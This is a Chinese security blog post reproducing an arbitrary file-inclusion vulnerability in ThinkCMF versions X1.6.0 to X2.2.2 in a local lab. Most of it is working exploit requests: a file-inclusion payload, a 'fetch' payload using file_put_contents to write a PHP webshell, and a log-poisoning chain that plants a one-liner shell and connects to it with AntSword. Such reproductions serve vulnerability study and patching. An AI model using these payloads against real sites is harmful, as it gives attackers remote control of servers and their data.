ThinkCMF框架任意内容包含漏洞


ThinkCMF框架任意内容包含漏洞

适用版本:

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2

漏洞原因:

因为他在模板路径出的函数运用出现问题,当模板主题不存在时会在当前目录下开始查找,形成文件包含

对应参数:templateFile为模板文件地址

构造文件包含 payload:?a=display&templateFile=README.md

构造一句话木马payload:?a=fetch&templateFile=public/index&prefix=’’&content=file_put_contents(‘1.php’,’‘)

漏洞复现:

我这里是用windows 2008R2的机器当做服务器 用windows10的当做复现机器

image-20210610115550904

首先找到首页目标

image-20210610115704657

文件包含

然后直接在首页上面添加pyload显示结果

http://127.0.0.1/ThinkCMFX/ThinkCMFX/?a=display&templateFile=README.md

image-20210610120943199

写一句话木马

http://127.0.0.1/ThinkCMFX/ThinkCMFX/?a=fetch&templateFile=public/index&prefix=''&content=file_put_contents(‘1.php’,’‘)

image-20210610121038222

如果成功了则会显示空白页面,接下来直接访问1.php就可以看到了

image-20210610121227730

然后蚁剑链接

image-20210610121415378

通过缓存日志写shell

在默认情况下启用了报错日志并且开启了模板缓存,,导致可以使用加载一个不存在的模板来将生成一句话的PHP代码写入data/runtime/Logs/Portal目录下的日志文件中,再次包含该日志文件即可在网站根目录下生成一句话木马

127.0.0.1/ThinkCMFX/ThinkCMFX/?a=display&templateFile=‘);die();?>

当出现下图的时候就已经讲一句话写入日志中了,接下来我们还需要去访问一下日志

image-20210610121825049

http://127.0.0.1/ThinkCMFX/ThinkCMFX/?a=display&templateFile=data/runtime/Logs/Portal/21_06_10.log

21_06_10.log是当天的日期要注意

image-20210610122255444

这样子就会自动生成一个1.php文件了我们就可以直接链接蚁剑了

image-20210610123620395

参考链接:

https://mp.weixin.qq.com/s/I5Zx21REspDQaQBDKXeoaw


文章作者: Gao Yang
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Gao Yang !
评论
  目录